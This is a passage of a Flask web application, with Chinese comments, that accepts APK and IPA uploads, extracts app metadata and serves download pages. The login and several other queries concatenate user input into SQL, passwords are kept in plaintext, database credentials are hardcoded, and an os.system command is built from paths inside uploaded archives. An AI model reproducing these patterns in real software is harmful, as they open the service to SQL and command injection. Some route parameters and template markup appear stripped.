'https://a.popv.top/dl/android/' # Android下载页面地址\nALLOWED_EXTENSIONS = set(['apk', 'ipa'])\napp.config['MYSQL_HOST'] = 'localhost'\napp.config['MYSQL_USER'] = 'root'\napp.config['MYSQL_PASSWORD'] = 'password'\napp.config['MYSQL_DB'] = 'app_distribution'\napp.config['MYSQL_PORT'] = 3306\napp.config['MYSQL_CONNECT_TIMEOUT'] = 10\nmysql = MySQL(app)\nlogin_manager = LoginManager()\nlogin_manager.init_app(app)\nlogin_manager.login_view = \"login\"\n# login_manager.login_message = u\"Please login!\"\n\n\n# 用户类\nclass User(UserMixin):\n def __init__(self, id):\n self.id = id\n self.username = ''\n self.password = ''\n\n def __repr__(self):\n return \"%d/%s/%s\" % (self.id, self.namename, self.password)\n\n def set_username(self, username):\n self.username = username\n\n def set_password(self, password):\n self.password = password\n\n\n@app.route(\"/login\", methods=[\"GET\", \"POST\"])\n# 登录\ndef login():\n if request.method == 'POST':\n username = request.form['username'] # 用户名\n password = request.form['password'] # 密码\n # 连接数据库\n cur = mysql.connection.cursor()\n sql = \"select * from user where username=\\'\" + username + \"\\'\"\n cur.execute(sql)\n rv = cur.fetchall()\n if len(rv) == 1 and rv[0][2] == password:\n id = rv[0][0]\n user = User(id)\n user.set_username(username)\n user.set_password(password)\n login_user(user)\n if request.args.get(\"next\"):\n return redirect(request.args.get(\"next\"))\n else:\n return redirect(\"/\")\n else:\n # return abort(401)\n result = OrderedDict()\n result['code'] = '201'\n result['info'] = '用户名不存在或密码不正确!'\n return json.dumps(result)\n else:\n return render_template('login_1.html')\n\n\n@app.route(\"/logout\")\n@login_required\n# 注销\ndef logout():\n logout_user()\n return render_template('logout.html')\n\n\n@app.route(\"/\", methods=[\"GET\", \"POST\"])\n@login_required\n# 首页 列出某个用户的所有app 或 获取某个用户下的所有app数据\ndef index():\n if request.method == \"GET\":\n return render_template('index.html')\n elif request.method == \"POST\":\n uid = current_user.get_id() # 用户id\n logging.info('uid: ' + uid)\n # 连接数据库\n cur = mysql.connection.cursor()\n params = (uid,)\n cur.execute(\"select * from app where uid=%s and disable=0\", params)\n rv = cur.fetchall()\n apps_list = []\n for row in rv:\n temp_dict = OrderedDict()\n temp_dict['app_id'] = row[0]\n temp_dict['app_name_en'] = row[2]\n temp_dict['app_name_zh'] = row[3]\n temp_dict['app_icon'] = row[4]\n temp_dict['dl_page_url_id'] = row[5]\n temp_dict['dl_page_url'] = row[6]\n temp_dict['qcode'] = row[7]\n temp_dict['app_info'] = row[11]\n temp_dict['imgs'] = row[12]\n temp_dict['dl_count'] = row[13]\n temp_dict['os_type'] = row[14]\n\n cur.execute(\"SELECT expire_time FROM app_update where app_id=\"+str(row[0])+\" order by id desc limit 1\")\n rv1 = cur.fetchall()\n for row1 in rv1:\n temp_dict['expire_time'] = row1[0]\n apps_list.append(temp_dict)\n return json.dumps(apps_list)\n\n\n# 验证数据类型\ndef allowed_file(filename):\n return '.' in filename and \\\n filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n\n\n# 得到iOS app过期时间\ndef getExpireTime(app_dir):\n embedded_path = app_dir+'/embedded.mobileprovision'\n with open(embedded_path, 'rb') as f:\n embedded_txt = f.read()\n\n match = re.search(b'ExpirationDate\\\\n\\s*(.*)', embedded_txt)\n result = match.group(1)\n expire_time = str(result, encoding='utf-8')\n expire_time = expire_time.replace('T', ' ')\n expire_time = expire_time.replace('Z', '')\n return expire_time\n\n# 解压ipa文件\ndef unzipipa(ipa_path):\n zfile = zipfile.ZipFile(ipa_path, 'r')\n zfile.extractall(os.path.dirname(ipa_path))\n app_dir = glob.glob(os.path.dirname(ipa_path) + '/Payload/*')[0]\n plist = biplist.readPlist(app_dir + \"/Info.plist\")\n expire_time = getExpireTime(app_dir)\n\n # png start\n icon_path = glob.glob(app_dir+'/AppIcon*.png')\n if len(icon_path) > 0:\n icon_path = icon_path[0]\n dis_icon_path = os.path.dirname(ipa_path)+'/'+ntpath.basename(ipa_path).replace('.ipa', '.png')\n if not os.path.exists(dis_icon_path):\n cmdStr = '/usr/bin/python /home/dav/shells/app_publish/ipin.py %s %s' % (icon_path, dis_icon_path)\n os.system(cmdStr)\n # png end\n # remove_file(os.path.dirname(app_dir))\n return {'plist':plist, 'expire_time':expire_time}\n\n\n# 生成plist文件\ndef create_plist(ipa_url, identify, ver, name, plist_path):\n content = \"\"\"\n\n\n\n\titems\n\t\n\t\t\n\t\t\tassets\n\t\t\t\n\t\t\t\t\n\t\t\t\t\tkind\n\t\t\t\t\tsoftware-package\n\t\t\t\t\turl\n\t\t\t\t\t%s\n\t\t\t\t\n\t\t\t\n\t\t\tmetadata\n\t\t\t\n\t\t\t\tbundle-identifier\n\t\t\t\t%s\n\t\t\t\tbundle-version\n\t\t\t\t%s\n\t\t\t\tkind\n\t\t\t\tsoftware\n\t\t\t\ttitle\n\t\t\t\t%s\n\t\t\t\n\t\t\n\t\n\n\"\"\" % (ipa_url, identify, ver, name)\n remove_file(plist_path)\n content = bytes(content, encoding = \"utf8\")\n with open(plist_path, 'wb') as datas:\n datas.write(content)\n datas.close()\n\n\n# 生成html文件\ndef create_html(html_path, plist_url):\n content = \"\"\"\n install\n\"\"\" % (plist_url)\n\n remove_file(html_path)\n with open(html_path, 'wb') as datas:\n datas.write(content)\n datas.close\n\n# 删除文件\ndef remove_file(path):\n if os.path.exists(path):\n if os.path.isdir(path):\n shutil.rmtree(path)\n else:\n os.remove(path)\n\n\n# 删除临时解压文件目录\ndef del_temp_dir(ipa_path):\n app_dir = glob.glob(os.path.dirname(ipa_path) + '/Payload/*')[0]\n remove_file(os.path.dirname(app_dir))\n return\n\n\n# Android 解压apk文件\ndef a_unzipapk(apk_path):\n zfile = zipfile.ZipFile(apk_path, 'r')\n app_dir = os.path.join(os.path.dirname(apk_path), 'app_temp')\n os.mkdir(app_dir)\n zfile.extractall(app_dir)\n return app_dir\n\n\n\"\"\"\n# Android 解析、转换AndroidManifest.xml,输出字符串\ndef a_manifest_convert(apk_dir):\n manifest_path = os.path.join(apk_dir, \"AndroidManifest.xml\")\n ap = axmlprinter.AXMLPrinter(open(manifest_path, 'rb').read())\n buff = xml.dom.minidom.parseString(ap.getBuff()).toxml()\n return buff\n\"\"\"\n\n\n# Android 移动icon文件\ndef a_move_icon(app_icon_path, icon_filename):\n icon_src = os.path.join(os.path.join(os.path.dirname(app_icon_path), 'app_temp'), icon_filename)\n logging.info(\"icon_src: \" + icon_src)\n icon_dst = app_icon_path\n logging.info(\"icon_dst: \" + icon_dst)\n os.rename(icon_src, icon_dst)\n # remove_file(os.path.dirname(app_dir))\n return\n\n\n# Android 删除临时解压文件目录\ndef a_del_temp_dir(app_save_path):\n remove_file(os.path.join(os.path.dirname(app_save_path), 'app_temp'))\n return\n\n\n@app.route(\"/upload/\", methods=['GET', 'POST'])\n@login_required\n# 上传APP\ndef upload():\n if request.method == 'POST':\n # check if the post request has the file part\n if 'file' not in request.files:\n flash('No file part')\n return redirect(request.url)\n app_file = request.files['file']\n # if user does not select file, browser also\n # submit a empty part without filename\n if app_file.filename == '':\n flash('No selected file')\n return redirect(request.url)\n if app_file and allowed_file(app_file.filename):\n filename = secure_filename(app_file.filename) # 上传文件名\n while True:\n random_dir = ''.join(choice(ascii_lowercase) for i in range(32)) # 生成唯一子目录(或更新记录id)\n save_dir = os.path.join(app.config['UPLOAD_FOLDER'], random_dir)\n if os.path.exists(save_dir):\n # 子目录名已被占用,重新生成子目录\n continue\n else:\n # 新建目录,跳出循环\n os.makedirs(save_dir)\n break\n app_save_path = os.path.join(save_dir, filename) # 文件上传路径\n logging.info(\"app_save_path: \" + app_save_path)\n app_file.save(app_save_path)\n if filename[-3:] == 'apk':\n # Android平台\n apk_dir = a_unzipapk(app_save_path)\n logging.info(\"apk_dir: \" + apk_dir)\n apk_url = app.config['APP_DOWNLOAD_URL'] + random_dir + '/' + filename # APP下载链接\n logging.info(\"apk_url: \" + apk_url)\n # manifest_info = a_manifest_convert(apk_dir)\n # logging.info(\"manifest_info: \" + manifest_info)\n # ap = apk.APK(app_save_path)\n # 数据入库\n uid = current_user.get_id() # 用户id\n process = Popen(['/home/dav/shells/app_publish/libs/build-tools/26.0.0/aapt', 'd', '--values', 'badging', app_save_path], stdout=PIPE, stderr=STDOUT) # 解析apk文件\n returncode = process.wait()\n logging.info('aapt returncode: {0}'.format(returncode))\n apk_stdout = process.stdout.read()\n apk_stdout = str(apk_stdout, encoding='utf-8')\n logging.info('aapt stdout: ' + apk_stdout)\n apk_name_en = apk_stdout[apk_stdout.index(\"package: name='\")+len(\"package: name='\"):apk_stdout.index(\"' versionCode='\")] # APP名称(英文)\n logging.info('apk_name_en: ' + apk_name_en)\n version_code = apk_stdout[apk_stdout.index(\"versionCode='\")+len(\"versionCode='\"):apk_stdout.index(\"' versionName='\")] # versionCode\n logging.info('versionCode: ' + version_code)\n apk_label = apk_stdout[apk_stdout.index(\"application: label='\")+len(\"application: label='\"):apk_stdout.index(\"' icon='\")] # APP名称(中文)\n apk_name_zh = apk_label\n logging.info('apk_name_zh: ' + apk_name_zh)\n apk_version = apk_stdout[apk_stdout.index(\"' versionName='\")+len(\"' versionName='\"):apk_stdout.index(\"' platformBuildVersionName='\")] # APP版本\n logging.info('appk_version: ' + apk_version)\n file_size = os.path.getsize(app_save_path) # APP大小\n update_time = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime(time.time())) # APP更新时间\n update_info = \"\" # APP更新说明\n apk_icon_path = app_save_path.replace('.apk', '.png') # 应用图标路径\n logging.info(\"apk_icon_path: \" + apk_icon_path)\n apk_icon_url = apk_url.replace('.apk', '.png') # 应用图标链接\n logging.info(\"apk_icon_url: \" + apk_icon_url)\n apk_icon = apk_stdout[apk_stdout.index(\"' icon='\") + len(\"' icon='\"):apk_stdout.index(\"'\\nlaunchable-activity: name='\")] # 应用图标\n logging.info('apk_icon: ' + apk_icon)\n a_move_icon(apk_icon_path, apk_icon) # 移动icon文件\n cur = mysql.connection.cursor()\n sql = \"select * from app where uid=\\'\" + uid + \"\\' and app_name_en=\\'\" + apk_name_en + \"\\'\"\n cur.execute(sql)\n rv = cur.fetchall()\n if len(rv) == 0:\n # APP第一次上传,APP尚未记录在数据库\n while True:\n dl_page_url_id = ''.join(choice(ascii_lowercase) for i in range(5)) # 下载页面URL唯一id\n sql = \"select * from app where dl_page_url_id=\\'\" + dl_page_url_id + \"\\'\"\n cur.execute(sql)\n rv1 = cur.fetchall()\n if len(rv1) == 0:\n break\n else:\n continue\n dl_page_url = app.config['APP_DOWNLOAD_PAGE_URL_Android'] + dl_page_url_id # 下载页面URL\n params = (uid, apk_name_en, apk_name_zh, apk_icon_url, dl_page_url_id, dl_page_url, '1')\n cur.execute(\"insert into app(uid, app_name_en, app_name_zh, app_icon, dl_page_url_id, dl_page_url, os_type) values (%s, %s, %s, %s, %s, %s, %s)\", params)\n mysql.connection.commit()\n sql = \"select id from app where uid=\\'\" + uid + \"\\' and app_name_en=\\'\" + apk_name_en + \"\\'\"\n cur.execute(sql)\n rv2 = cur.fetchall()\n if len(rv2) == 1:\n app_id = rv2[0] # APP id\n params = (app_id, random_dir, apk_version, file_size, update_time, update_info, apk_url, 0, version_code)\n cur.execute(\"insert into app_update(app_id, update_id, version, size, time, info, app_dl_url, build_id, versionCode) values (%s, %s, %s, %s, %s, %s, %s, %s, %s)\", params)\n mysql.connection.commit()\n # 返回确认数据\n app_info_data = OrderedDict()\n app_info_data['app_name'] = apk_name_zh\n app_info_data['dl_url'] = dl_page_url\n app_info_data['icon'] = apk_icon_url\n app_info_data['version'] = apk_version\n app_info_data['app_id'] = app_id[0]\n app_info_data['update_id'] = random_dir\n app_info_data['app_info'] = ''\n app_info_data['update_info'] = ''\n app_info_data['passwd_key'] = 0\n app_info_data['passwd'] = '0'\n else:\n sql = \"select id, passwd_key, passwd, build_id from app where uid=\\'\" + uid + \"\\' and app_name_en=\\'\" + apk_name_en + \"\\'\"\n cur.execute(sql)\n rv3 = cur.fetchall()\n if len(rv3) == 1:\n build_id = rv3[0][3] + 1\n logging.info(build_id)\n logging.info(type(build_id))\n params = (build_id, apk_icon_url, uid, apk_name_en)\n cur.execute(\"update app set build_id=%s,app_icon=%s where uid=%s and app_name_en=%s\", params)\n mysql.connection.commit()\n app_id = rv3[0][0] # APP id\n params = (app_id, random_dir, apk_version, file_size, update_time, update_info, apk_url, build_id, version_code)\n cur.execute(\"insert into app_update(app_id, update_id, version, size, time, info, app_dl_url, build_id, versionCode) values (%s, %s, %s, %s, %s, %s, %s, %s, %s)\", params)\n mysql.connection.commit()\n # 返回确认数据\n app_info_data = OrderedDict()\n app_info_data['app_name'] = apk_name_zh\n app_info_data['dl_url'] = rv[0][6]\n app_info_data['icon'] = rv[0][4]\n app_info_data['version'] = apk_version\n app_info_data['app_id'] = app_id\n app_info_data['update_id'] = random_dir\n app_info_data['app_info'] = ''\n app_info_data['update_info'] = ''\n app_info_data['passwd_key'] = rv3[0][1]\n app_info_data['passwd'] = rv3[0][2]\n a_del_temp_dir(app_save_path) # 删除临时解压文件目录\n return json.dumps(app_info_data)\n elif filename[-3:] == 'ipa':\n # iOS平台\n ipa_info = unzipipa(app_save_path)\n plist = ipa_info['plist']\n expire_time = ipa_info['expire_time']\n app_url = app.config['APP_DOWNLOAD_URL'] + random_dir + '/' + filename # APP下载链接\n logging.info(\"app_url: \" + app_url)\n plist_path = app_save_path.replace('.ipa', '.plist') # plist文件保存路径\n plist_url = app_url.replace('.ipa', '.plist') # plist文件下载链接\n logging.info(\"plist_url: \" + plist_url)\n # html_path = app_save_path.replace('ipa', 'html') # html文件保存路径\n # html_url = app_url.replace('.ipa', '.html') # html文件下载路径\n create_plist(app_url, plist['CFBundleIdentifier'], plist['CFBundleVersion'], plist['CFBundleDisplayName'], plist_path) # 生成plist文件\n # create_html(html_path, plist_url)\n # return html_url\n # 数据入库\n uid = current_user.get_id() # 用户id\n logging.info(uid)\n logging.info(plist)\n # app_name_en = plist['CFBundleExecutable'] # APP名称(英文)\n app_name_en = plist['CFBundleIdentifier'] # APP名称(英文)\n logging.info(app_name_en)\n app_name_zh = plist['CFBundleDisplayName'] # APP名称(中文)\n logging.info(app_name_zh)\n app_version = plist['CFBundleVersion'] # APP版本\n logging.info(app_version)\n file_size = os.path.getsize(app_save_path) # APP大小\n update_time = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime(time.time())) # APP更新时间\n update_info = \"\" # APP更新说明\n app_icon_path = app_save_path.replace('.ipa', '.png') # 应用图标路径\n logging.info(\"app_icon_path: \" + app_icon_path)\n app_icon_url = app_url.replace('.ipa', '.png') # 应用图标链接\n logging.info(\"app_icon_url: \" + app_icon_url)\n icon_filename = plist['CFBundleIcons']['CFBundlePrimaryIcon']['CFBundleIconFiles'][-1] # 应用图标原始文件名\n logging.info(\"icon_filename: \" + icon_filename)\n cur = mysql.connection.cursor()\n sql = \"select * from app where uid=\\'\" + uid + \"\\' and app_name_en=\\'\" + app_name_en + \"\\'\"\n cur.execute(sql)\n rv = cur.fetchall()\n if len(rv) == 0:\n # APP第一次上传,APP尚未记录在数据库\n while True:\n dl_page_url_id = ''.join(choice(ascii_lowercase) for i in range(5)) # 下载页面URL唯一id\n sql = \"select * from app where dl_page_url_id=\\'\" + dl_page_url_id + \"\\'\"\n cur.execute(sql)\n rv1 = cur.fetchall()\n if len(rv1) == 0:\n break\n else:\n continue\n dl_page_url = app.config['APP_DOWNLOAD_PAGE_URL_iOS'] + dl_page_url_id # 下载页面URL\n params = (uid, app_name_en, app_name_zh, app_icon_url, dl_page_url_id, dl_page_url, '0')\n cur.execute(\"insert into app(uid, app_name_en, app_name_zh, app_icon, dl_page_url_id, dl_page_url, os_type) values (%s, %s, %s, %s, %s, %s, %s)\", params)\n mysql.connection.commit()\n sql = \"select id from app where uid=\\'\" + uid + \"\\' and app_name_en=\\'\" + app_name_en + \"\\'\"\n cur.execute(sql)\n rv2 = cur.fetchall()\n if len(rv2) == 1:\n app_id = rv2[0] # APP id\n params = (app_id, random_dir, app_version, file_size, update_time, update_info, plist_url, 0, expire_time)\n cur.execute(\"insert into app_update(app_id, update_id, version, size, time, info, app_dl_url, build_id, expire_time) values (%s, %s, %s, %s, %s, %s, %s, %s, %s)\", params)\n mysql.connection.commit()\n # 返回确认数据\n app_info_data = OrderedDict()\n app_info_data['app_name'] = app_name_zh\n app_info_data['dl_url'] = dl_page_url\n app_info_data['icon'] = app_icon_url\n app_info_data['version'] = app_version\n app_info_data['app_id'] = app_id[0]\n app_info_data['update_id'] = random_dir\n app_info_data['app_info'] = ''\n app_info_data['update_info'] = ''\n app_info_data['passwd_key'] = 0\n app_info_data['passwd'] = '0'\n else:\n sql = \"select id, passwd_key, passwd, build_id from app where uid=\\'\" + uid + \"\\' and app_name_en=\\'\" + app_name_en + \"\\'\"\n cur.execute(sql)\n rv3 = cur.fetchall()\n if len(rv3) == 1:\n build_id = rv3[0][3] + 1\n logging.info(\"build id: \" + str(build_id))\n # logging.info(type(build_id))\n params = (build_id, app_icon_url, uid, app_name_en)\n cur.execute(\"update app set build_id=%s,app_icon=%s where uid=%s and app_name_en=%s\", params)\n mysql.connection.commit()\n app_id = rv3[0][0] # APP id\n params = (app_id, random_dir, app_version, file_size, update_time, update_info, plist_url, build_id, expire_time)\n cur.execute(\"insert into app_update(app_id, update_id, version, size, time, info, app_dl_url, build_id, expire_time) values (%s, %s, %s, %s, %s, %s, %s, %s, %s)\", params)\n mysql.connection.commit()\n # 返回确认数据\n app_info_data = OrderedDict()\n app_info_data['app_name'] = app_name_zh\n app_info_data['dl_url'] = rv[0][6]\n app_info_data['icon'] = rv[0][4]\n app_info_data['version'] = app_version\n app_info_data['app_id'] = app_id\n app_info_data['update_id'] = random_dir\n app_info_data['app_info'] = ''\n app_info_data['update_info'] = ''\n app_info_data['passwd_key'] = rv3[0][1]\n app_info_data['passwd'] = rv3[0][2]\n del_temp_dir(app_save_path) # 删除临时解压文件目录\n return json.dumps(app_info_data)\n else:\n return \"File type don't suport!\"\n elif request.method == 'GET':\n return render_template('upload/index.html')\n\n\n@app.route(\"/update/\", methods=['POST', 'GET'])\n@login_required\n# 更新APP信息,然后跳转到/appinfo/\ndef update():\n if request.method == 'POST':\n if len(request.form) != 7:\n return Response('''\n Parameter is not enough!\n ''')\n app_name = request.form['app_name'] # APP名称(中文)\n logging.info('app_name: ' + app_name)\n app_id = request.form['app_id'] # APP id\n logging.info('app_id: ' + app_id)\n update_id = request.form['update_id'] # 更新记录id\n logging.info('update_id: ' + update_id)\n app_info = request.form['app_info'] # APP软件介绍\n logging.info('app_info: ' + app_info)\n update_info = request.form['update_info'] # APP更新说明\n logging.info('update_info: ' + update_info)\n passwd_key = request.form['passwd_key'] # 下载页是否验证密码 0:不验证 1:验证\n logging.info('passwd_key: ' + passwd_key)\n passwd = request.form['passwd'] # 下载页密码\n logging.info('passwd: ' + passwd)\n uid = current_user.get_id() # 用户id\n logging.info('uid: ' + uid)\n # 连接数据库\n cur = mysql.connection.cursor()\n params = (app_info, passwd_key, passwd, app_id, uid)\n cur.execute(\"update app set app_info=%s, passwd_key=%s, passwd=%s where id=%s and uid=%s\", params)\n mysql.connection.commit()\n app_enable = 1 # 是当前更新版本生效,app页面指向当前更新版本\n params = (update_info, app_enable, update_id, app_id)\n cur.execute(\"update app_update set info=%s,enable=%s where update_id=%s and app_id=%s\", params)\n mysql.connection.commit()\n result_dict = OrderedDict()\n result_dict['code'] = \"200\"\n result_dict['info'] = \"Success!\"\n return json.dumps(result_dict)\n elif request.method == 'GET':\n return render_template('update/index.html')\n\n\n@app.route(\"/appinfo/\", methods=['GET', 'POST'])\n@login_required\n# 列出某个app的所有更新记录 或者 获取app更新记录数据\ndef appinfo(app_id):\n uid = current_user.get_id() # 用户id\n # 连接数据库\n cur = mysql.connection.cursor()\n params = (app_id, uid)\n cur.execute(\"select * from app where id=%s and uid=%s\", params)\n rv = cur.fetchall()\n if len(rv) < 1:\n result = OrderedDict()\n result['code'] = '201'\n result['info'] = 'APP not found! or This APP does not belong to you!'\n return json.dumps(result)\n if request.method == 'GET':\n logging.info(rv[0][16])\n if rv[0][16] != 0:\n return \"APP已经下线!\"\n return render_template('appinfo/index.html')\n if request.method == 'POST':\n app_dict = OrderedDict()\n app_dict['app_id'] = rv[0][0]\n app_dict['app_name_en'] = rv[0][2]\n app_dict['app_name_zh'] = rv[0][3]\n app_dict['app_icon'] = rv[0][4]\n app_dict['dl_page_url_id'] = rv[0][5]\n app_dict['dl_page_url'] = rv[0][6]\n app_dict['qcode'] = rv[0][7]\n app_dict['app_info'] = rv[0][11]\n app_dict['imgs'] = rv[0][12]\n app_dict['dl_count'] = rv[0][13]\n app_dict['os_type'] = rv[0][14]\n app_dict['build_id'] = rv[0][15]\n params = (app_id,)\n cur.execute(\"select * from app_update where enable=1 and app_id=%s order by id desc\", params)\n rv1 = cur.fetchall()\n app_update_list = []\n for row in rv1[:3]:\n temp_dict = OrderedDict()\n # temp_dict['app_id'] = row[1]\n temp_dict['update_id'] = row[2]\n temp_dict['version'] = row[3]\n temp_dict['size'] = str(int(row[4]) / 1024)\n temp_dict['time'] = row[5].strftime(\"%Y-%m-%d %H:%M:%S\")\n temp_dict['info'] = row[6]\n temp_dict['app_dl_url'] = row[7]\n temp_dict['dl_count'] = row[8]\n temp_dict['build_id'] = row[10]\n temp_dict['expire_time'] = row[12]\n app_update_list.append(temp_dict)\n app_dict['updates'] = app_update_list\n return json.dumps(app_dict)\n\n\n@app.route(\"/dl//\", methods=['GET', 'POST'])\n# app下载页面\ndef dl_index(os, dl_page_url_id):\n logging.info(request.headers['X-Real-Ip'])\n # 连接数据库\n cur = mysql.connection.cursor()\n params = (dl_page_url_id,)\n cur.execute(\"select * from app where dl_page_url_id=%s\", params)\n rv = cur.fetchall()\n if request.method == 'GET': # 获取验证密码页面或获取下载页面\n if len(rv) == 1 and rv[0][16] != 0:\n return \"APP已经下线!\"\n if len(rv) == 1 and rv[0][8] == 1: # 需要认证\n auth = request.args.get('auth')\n if auth is None: # 认证页面\n if os == 'ios':\n return render_template('dl/ios/index_v.html')\n elif os == 'android':\n return render_template('dl/android/index_v.html')\n return Response('''\n 404\n ''')\n elif rv[0][10] == auth: # 认证通过\n if os == 'ios':\n return render_template('dl/ios/index.html')\n elif os == 'android':\n return render_template('dl/android/index.html')\n return Response('''\n 404\n ''')\n else: # 认证不通过\n result = OrderedDict()\n result['code'] = '202'\n result['info'] = 'Auth failed'\n return json.dumps(result)\n else:\n if os == 'ios':\n return render_template('dl/ios/index.html')\n elif os == 'android':\n return render_template('dl/android/index.html')\n result = OrderedDict()\n result['code'] = '404'\n result['info'] = 'HTML file not found!'\n return json.dumps(result)\n elif request.method == 'POST': # 获取数据 或 验证密码\n user_agent = request.headers['User-Agent']\n client_type = 'none'\n if \"MicroMessenger\" in user_agent:\n client_type = 'weixin'\n passwd = request.form.get('passwd')\n if passwd is None: # 获取数据\n if len(rv) == 1 and rv[0][8] == 1: # 需要认证\n auth = request.args.get('auth')\n logging.info(auth)\n logging.info(rv[0][10])\n if auth is None: # 请提供auth参数\n result = OrderedDict()\n result['code'] = '201'\n result['info'] = 'Please provide auth code!'\n return json.dumps(result)\n elif rv[0][10] == auth: # 认证通过\n app_dict = OrderedDict()\n app_dict['app_id'] = rv[0][0]\n app_dict['app_name_en'] = rv[0][2]\n app_dict['app_name_zh'] = rv[0][3]\n app_dict['app_icon'] = rv[0][4]\n app_dict['dl_page_url_id'] = rv[0][5]\n app_dict['dl_page_url'] = rv[0][6]\n app_dict['qcode'] = rv[0][7]\n app_dict['app_info'] = rv[0][11]\n app_dict['imgs'] = rv[0][12]\n app_dict['dl_count'] = rv[0][13]\n app_dict['os_type'] = rv[0][14]\n app_dict['build_id'] = rv[0][15]\n app_dict['client_type'] = client_type\n app_id = rv[0][0]\n params = (app_id,)\n cur.execute(\"select * from app_update where enable=1 and app_id=%s order by id desc\", params)\n rv1 = cur.fetchall()\n app_update_list = []\n for row in rv1:\n temp_dict = OrderedDict()\n # temp_dict['app_id'] = row[1]\n temp_dict['update_id'] = row[2]\n temp_dict['version'] = row[3]\n temp_dict['size'] = str(int(row[4]) / 1024)\n temp_dict['time'] = row[5].strftime(\"%Y-%m-%d %H:%M:%S\")\n temp_dict['info'] = row[6]\n temp_dict['app_dl_url'] = row[7]\n temp_dict['dl_count'] = row[8]\n temp_dict['build_id'] = row[10]\n temp_dict['expire_time'] = row[12]\n app_update_list.append(temp_dict)\n app_dict['updates'] = app_update_list\n return json.dumps(app_dict)\n else: # 认证不通过\n result = OrderedDict()\n result['code'] = '202'\n result['info'] = 'Auth failed'\n return json.dumps(result)\n else:\n app_dict = OrderedDict()\n app_dict['app_id'] = rv[0][0]\n app_dict['app_name_en'] = rv[0][2]\n app_dict['app_name_zh'] = rv[0][3]\n app_dict['app_icon'] = rv[0][4]\n app_dict['dl_page_url_id'] = rv[0][5]\n app_dict['dl_page_url'] = rv[0][6]\n app_dict['qcode'] = rv[0][7]\n app_dict['app_info'] = rv[0][11]\n app_dict['imgs'] = rv[0][12]\n app_dict['dl_count'] = rv[0][13]\n app_dict['os_type'] = rv[0][14]\n app_dict['build_id'] = rv[0][15]\n app_dict['client_type'] = client_type\n app_id = rv[0][0]\n params = (app_id,)\n cur.execute(\"select * from app_update where enable=1 and app_id=%s order by id desc\", params)\n rv1 = cur.fetchall()\n app_update_list = []\n for row in rv1:\n temp_dict = OrderedDict()\n # temp_dict['app_id'] = row[1]\n temp_dict['update_id'] = row[2]\n temp_dict['version'] = row[3]\n temp_dict['size'] = str(int(row[4]) / 1024)\n temp_dict['time'] = row[5].strftime(\"%Y-%m-%d %H:%M:%S\")\n temp_dict['info'] = row[6]\n temp_dict['app_dl_url'] = row[7]\n temp_dict['dl_count'] = row[8]\n temp_dict['build_id'] = row[10]\n temp_dict['expire_time'] = row[12]\n app_update_list.append(temp_dict)\n app_dict['updates'] = app_update_list\n return json.dumps(app_dict)\n else: # 验证密码\n if passwd == rv[0][9]: # 密码正确\n auth = ''.join(choice(ascii_lowercase) for i in range(32))\n params = (auth, dl_page_url_id)\n cur.execute(\"update app set auth=%s where dl_page_url_id=%s\", params)\n mysql.connection.commit()\n redirect_url = request.base_url + \"?auth=\" + auth\n return redirect(redirect_url, code=302)\n else: # 密码错误\n result = OrderedDict()\n result['code'] = '203'\n result['info'] = 'Password is incorrect!'\n return json.dumps(result)\n\n\n@app.route(\"/dl-direct///\", methods=['GET'])\n# 直接下载app链接\ndef dl_direct_index(os, dl_page_url_id, filetype):\n logging.info(request.headers['X-Real-Ip'])\n result = OrderedDict()\n # 连接数据库\n cur = mysql.connection.cursor()\n params = (dl_page_url_id,)\n cur.execute(\"select * from app where dl_page_url_id=%s\", params)\n rv = cur.fetchall()\n if request.method == 'GET': # 获取验证密码页面或获取下载页面\n if len(rv) == 1 and rv[0][16] != 0:\n result['code'] = '201'\n result['info'] = 'APP已经下线!'\n if len(rv) == 1:\n params = (rv[0][0],)\n cur.execute(\"select app_dl_url from app_update where app_id=%s order by id desc\", params)\n rv1 = cur.fetchall()\n if len(rv1) < 1:\n result['code'] = '202'\n result['info'] = 'APP更新未找到!'\n else:\n if os == 'ios':\n if filetype == 'ipa':\n url = rv1[0][0]\n url = url.replace('.plist', '.ipa')\n logging.info(url)\n return redirect(url, code=302)\n elif filetype == 'plist':\n url = rv1[0][0]\n logging.info(url)\n return redirect(url, code=302)\n elif os == 'android':\n if filetype == 'apk':\n url = rv1[0][0]\n logging.info(url)\n return redirect(url, code=302)\n else:\n result['code'] = '404'\n result['info'] = 'app not found!'\n return json.dumps(result)\n\n\n@app.route(\"/dl/u//\", methods=['GET', 'POST'])\n# app更新页面\ndef dlu_index(os, dl_page_url_id):\n # 连接数据库\n cur = mysql.connection.cursor()\n params = (dl_page_url_id,)\n cur.execute(\"select * from app where dl_page_url_id=%s\", params)\n rv = cur.fetchall()\n if request.method == 'GET': # 获取验证密码页面或获取下载页面\n if os == 'ios':\n return render_template('dl/ios/update.html')\n elif os == 'android':\n return render_template('dl/android/update.html')\n return Response('''\n 404\n ''')\n elif request.method == 'POST': # 获取数据\n app_id = rv[0][0]\n params = (app_id,)\n cur.execute(\"select * from app_update where enable=1 and app_id=%s order by id desc\", params)\n rv1 = cur.fetchall()\n u_dict = OrderedDict()\n u_dict['count'] = len(rv1)\n app_update_list = []\n for row in rv1:\n temp_dict = OrderedDict()\n # temp_dict['app_id'] = row[1]\n temp_dict['update_id'] = row[2]\n temp_dict['version'] = row[3]\n temp_dict['size'] = str(int(row[4]) / 1024)\n temp_dict['time'] = row[5].strftime(\"%Y-%m-%d %H:%M:%S\")\n temp_dict['info'] = row[6]\n temp_dict['app_dl_url'] = row[7]\n temp_dict['dl_count'] = row[8]\n temp_dict['build_id'] = row[10]\n temp_dict['expire_time'] = row[12]\n app_update_list.append(temp_dict)\n u_dict['updates'] = app_update_list\n return json.dumps(u_dict)\n\n\n@app.route(\"/dl/count/\", methods=['POST'])\n# app下载次数记录\ndef dl_count(dl_page_url_id):\n if request.method == 'POST':\n update_id = request.form.get('update_id') # 更新记录id 或 唯一子目录\n if update_id is None:\n result = OrderedDict()\n result['code'] = '201'\n result['info'] = 'Please provide update_id!'\n return json.dumps(result)\n logging.info(update_id)\n # 连接数据库\n cur = mysql.connection.cursor()\n # 更新app表\n params = (dl_page_url_id,)\n cur.execute(\"update app set dl_count = dl_count + 1 where dl_page_url_id=%s\", params)\n mysql.connection.commit()\n # 更新app_update表\n params = (update_id,)\n cur.execute(\"update app_update set dl_count = dl_count + 1 where update_id=%s\", params)\n mysql.connection.commit()\n result = OrderedDict()\n 